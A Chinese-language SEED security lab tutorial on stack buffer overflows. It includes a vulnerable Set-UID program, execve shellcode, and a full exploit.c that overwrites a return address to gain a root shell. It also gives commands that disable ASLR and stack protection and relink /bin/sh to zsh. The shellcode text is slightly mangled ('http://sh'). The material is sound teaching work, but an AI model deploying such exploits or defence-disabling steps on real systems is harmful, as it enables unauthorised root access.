SEED信息安全實(shí)驗(yàn)系列：緩沖區(qū)溢出漏洞實(shí)驗(yàn)

緩沖區(qū)溢出漏洞實(shí)驗(yàn)

本實(shí)驗(yàn)詳細(xì)出自http://www.shiyanlou.com/courses/231，轉(zhuǎn)載請注明出處。

一、實(shí)驗(yàn)描述

緩沖區(qū)溢出是指程序試圖向緩沖區(qū)寫入超出預(yù)分配固定長度數(shù)據(jù)的情況。這一漏洞可以被惡意用戶利用來改變程序的流控制，甚至執(zhí)行代碼的任意片段。這一漏洞的出現(xiàn)是由于數(shù)據(jù)緩沖器和返回地址的暫時關(guān)閉，溢出會引起返回地址被重寫。

二、實(shí)驗(yàn)準(zhǔn)備

本次實(shí)驗(yàn)為了方便觀察匯編語句，我們需要在32位環(huán)境下作操作，因此實(shí)驗(yàn)之前需要做一些準(zhǔn)備。

1、輸入命令安裝一些用于編譯32位C程序的東西：

sudo apt-get update

sudo apt-get install lib32z1 libc6-dev-i386

sudo apt-get install lib32readline-gplv2-dev

2、輸入命令“l(fā)inux32”進(jìn)入32位linux環(huán)境。此時你會發(fā)現(xiàn)，命令行用起來沒那么爽了，比如不能tab補(bǔ)全了，所以輸入“/bin/bash”使用bash：

三、實(shí)驗(yàn)步驟

3.1 初始設(shè)置

Ubuntu和其他一些Linux系統(tǒng)中，使用地址空間隨機(jī)化來隨機(jī)堆（heap）和棧（stack）的初始地址，這使得猜測準(zhǔn)確的內(nèi)存地址變得十分困難，而猜測內(nèi)存地址是緩沖區(qū)溢出***的關(guān)鍵。因此本次實(shí)驗(yàn)中，我們使用以下命令關(guān)閉這一功能：

sudo sysctl -w kernel.randomize_va_space=0

此外，為了進(jìn)一步防范緩沖區(qū)溢出***及其它利用shell程序的***，許多shell程序在被調(diào)用時自動放棄它們的特權(quán)。因此，即使你能欺騙一個Set-UID程序調(diào)用一個shell，也不能在這個shell中保持root權(quán)限，這個防護(hù)措施在/bin/bash中實(shí)現(xiàn)。

linux系統(tǒng)中，/bin/sh實(shí)際是指向/bin/bash或/bin/dash的一個符號鏈接。為了重現(xiàn)這一防護(hù)措施被實(shí)現(xiàn)之前的情形，我們使用另一個shell程序（zsh）代替/bin/bash。下面的指令描述了如何設(shè)置zsh程序：

sudo su

cd /bin

rm sh

ln -s zsh sh

exit

3.2 shellcode

一般情況下，緩沖區(qū)溢出會造成程序崩潰，在程序中，溢出的數(shù)據(jù)覆蓋了返回地址。而如果覆蓋返回地址的數(shù)據(jù)是另一個地址，那么程序就會跳轉(zhuǎn)到該地址，如果該地址存放的是一段精心設(shè)計的代碼用于實(shí)現(xiàn)其他功能，這段代碼就是shellcode。

觀察以下代碼：

#include <stdio.h>
int main( ) {
char *name[2];
name[0] = ‘‘/bin/sh’’;
name[1] = NULL;
execve(name[0], name, NULL);
}

本次實(shí)驗(yàn)的shellcode，就是剛才代碼的匯編版本：

\x31\xc0\x50\x68"http://sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

3.3 漏洞程序

把以下代碼保存為“stack.c”文件，保存到 /tmp 目錄下。代碼如下：

/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
char buffer[12];

/* The following statement has a buffer overflow problem */
strcpy(buffer, str);

return 1;
}

int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}

通過代碼可以知道，程序會讀取一個名為“badfile”的文件，并將文件內(nèi)容裝入“buffer”。

編譯該程序，并設(shè)置SET-UID。命令如下：

sudo su

gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c

chmod u+s stack

exit

GCC編譯器有一種棧保護(hù)機(jī)制來阻止緩沖區(qū)溢出，所以我們在編譯代碼時需要用 –fno-stack-protector 關(guān)閉這種機(jī)制。

而 -z execstack 用于允許執(zhí)行棧。

3.4 ***程序

我們的目的是***剛才的漏洞程序，并通過***獲得root權(quán)限。

把以下代碼保存為“exploit.c”文件，保存到 /tmp 目錄下。代碼如下：

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[]=

"\x31\xc0"    //xorl %eax,%eax
"\x50"        //pushl %eax
"\x68""http://sh"  //pushl $0x68732f2f
"\x68""/bin"  //pushl $0x6e69622f
"\x89\xe3"    //movl %esp,%ebx
"\x50"        //pushl %eax
"\x53"        //pushl %ebx
"\x89\xe1"    //movl %esp,%ecx
"\x99"        //cdq
"\xb0\x0b"    //movb $0x0b,%al
"\xcd\x80"    //int $0x80
;

void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;

/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);

/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");
strcpy(buffer+100,shellcode);

/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}

注意上面的代碼，“\x??\x??\x??\x??”處需要添上shellcode保存在內(nèi)存中的地址，因?yàn)榘l(fā)生溢出后這個位置剛好可以覆蓋返回地址。

而 strcpy(buffer+100,shellcode); 這一句又告訴我們，shellcode保存在 buffer+100 的位置。

現(xiàn)在我們要得到shellcode在內(nèi)存中的地址，輸入命令：

gdb stack

disass main

結(jié)果如圖：

接下來的操作：

根據(jù)語句 strcpy(buffer+100,shellcode); 我們計算shellcode的地址為 0xffffd1b0(十六進(jìn)制)+100(十進(jìn)制)=0xffffd214(十六進(jìn)制)

現(xiàn)在修改exploit.c文件！將 \x??\x??\x??\x?? 修改為 \x14\xd2\xff\xff

然后，編譯exploit.c程序：

gcc -m32 -o exploit exploit.c

3.5 ***結(jié)果

先運(yùn)行***程序exploit，再運(yùn)行漏洞程序stack，觀察結(jié)果：

可見，通過***，獲得了root權(quán)限！

如果不能***成功，提示”段錯誤“，那么請重新使用gdb反匯編，計算內(nèi)存地址。

四、練習(xí)

1、按照實(shí)驗(yàn)步驟進(jìn)行操作，***漏洞程序并獲得root權(quán)限。

2、通過命令”sudo sysctl -w kernel.randomize_va_space=2“打開系統(tǒng)的地址空間隨機(jī)化機(jī)制，重復(fù)用exploit程序***stack程序，觀察能否***成功，能否獲得root權(quán)限。

3、將/bin/sh重新指向/bin/bash（或/bin/dash），觀察能否***成功，能否獲得root權(quán)限。

以上練習(xí)請?jiān)趯?shí)驗(yàn)樓環(huán)境完成并截圖。

License

本課程所涉及的實(shí)驗(yàn)來自Syracuse SEED labs，并在此基礎(chǔ)上為適配實(shí)驗(yàn)樓網(wǎng)站環(huán)境進(jìn)行修改，修改后的實(shí)驗(yàn)文檔仍然遵循GNU Free Documentation License。

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